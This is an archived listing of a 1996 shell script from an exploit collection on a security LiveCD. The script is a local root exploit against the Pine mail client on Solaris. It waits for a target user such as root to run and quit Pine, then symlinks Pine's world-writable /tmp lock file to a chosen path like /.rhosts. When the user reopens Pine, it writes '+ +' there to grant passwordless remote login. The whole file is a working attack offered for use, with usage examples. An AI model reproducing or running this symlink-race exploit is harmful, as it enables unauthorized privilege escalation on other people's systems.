home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / pine.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  3KB  |  147 lines

  1. #!/bin/sh
  2. #
  3. # ET Lownoise 1996 Colombia
  4. # pine bug exploit
  5. #
  6. # usage: pine.sh username path/file_to_create &
  7. # ex:    pine.sh root /.rhosts &
  8. # ex2:   pine.sh root /.rhosts > out & (and go to sleep).
  9. #
  10. # version 3.91, 3.92 .....
  11. # version 3.95 fixed
  12. #
  13. # Note: must do some changes in the script. look 4 CHANGE THIS:
  14. #
  15. # Yea i know is a lame script but is better than nothing..
  16. # try to exploit the bug without a script and you will wait
  17. # forever.
  18. #                     e-torres@uniandes.edu.co
  19. #
  20.  
  21. argumentos=0
  22. if [ $# -eq $argumentos ]
  23.   then
  24.     echo "Usage: $0 username path/file_to_create & "
  25.     echo "ET Lownoise 1996 Colombia"
  26.     exit
  27. fi
  28.  
  29. username=$1
  30. archivo=$2
  31.  
  32. #CHANGE THIS:
  33.  
  34. #text='text to puit in file to create'
  35. #usr=path of the program users
  36. #pineprog=how the pine program appears when u do a w (who) command
  37.  
  38. text='+ +'
  39. usr=users
  40. pineprog=pine
  41.  
  42. #
  43. date
  44. echo "- Looking for $1 to log in... just wait"
  45. #
  46. entrada=0
  47. entro=0
  48.  
  49. until [ $entro -eq $entrada ]
  50. do
  51.         for nombre in `$usr`
  52.         do
  53.          if [ $nombre = $1 ]
  54.             then
  55.                 entro=1
  56.  
  57.          fi
  58.         done
  59.  
  60. done
  61. date
  62. echo "- Ok $username is logged now."
  63. #
  64. echo "- Lets wait that $1 run pine. "
  65.  
  66.  
  67. noejecuto=0
  68. ejecuto=0
  69.  
  70. until [ $ejecuto -ne $noejecuto ]
  71. do
  72.  
  73.  
  74.      for ejecutando in `w $username`
  75.      do
  76.        if [ $ejecutando = $pineprog ]
  77.          then
  78.                 date
  79.                 echo '- OK ' $1 ' is running ' $pineprog '.'
  80.                 ejecuto=1
  81.  
  82.        fi
  83.      done
  84.  
  85. done
  86.  
  87.  
  88.  
  89. echo "- Now lets grab the lock file of $username from /tmp"
  90. ls -al /tmp | grep $username > temp1
  91. cat temp1 | grep rw-rw-rw- > temporal
  92. lockfile=`awk '{print $9}' temporal`
  93. rm temp1
  94. rm temporal
  95. echo "> Username $username"
  96. echo "> Lockfile $lockfile"
  97. echo
  98. echo "- OK now im going to wait that $username "
  99. echo "  quits $pineprog "
  100. # do it till exist lockfile, that means username havent quit pine
  101. cd /tmp
  102.  
  103. while [ -s $lockfile ]
  104.     do
  105.     sleep 0
  106. done
  107.  
  108. cd
  109. date
  110. echo "- OK $username quit $pineprog .. now to link $lockfile "
  111. #$archivo is the complete path of file in username
  112. cd /tmp
  113. ln -s $archivo $lockfile
  114. echo "- $lockfile is now linked "
  115. cd
  116. echo "- $username must now return to pine to create"
  117. echo "  $archivo "
  118. echo "- Waiting $username to return pine "
  119.  
  120. noejecuto=0
  121. ejecuto=0
  122.  
  123. until [ $ejecuto -ne $noejecuto ]
  124. do
  125.      for ejecutando in `w $username `
  126.      do
  127.        if [ $ejecutando = $pineprog ]
  128.          then
  129.                 date
  130.                 echo '- OK ' $username ' is running ' $pineprog
  131.                 ejecuto=1
  132.  
  133.        fi
  134.      done
  135.  
  136. done
  137. echo "- Introducing text..."
  138. cd /tmp
  139. echo $text > $lockfile
  140. echo "- Erasing $lockfile "
  141. rm $lockfile
  142. cd
  143. echo "THE END DUDE!"
  144. echo "ET Lownoise 1996 "
  145.  
  146.  
  147. #                 www.hack.co.za           [2000]#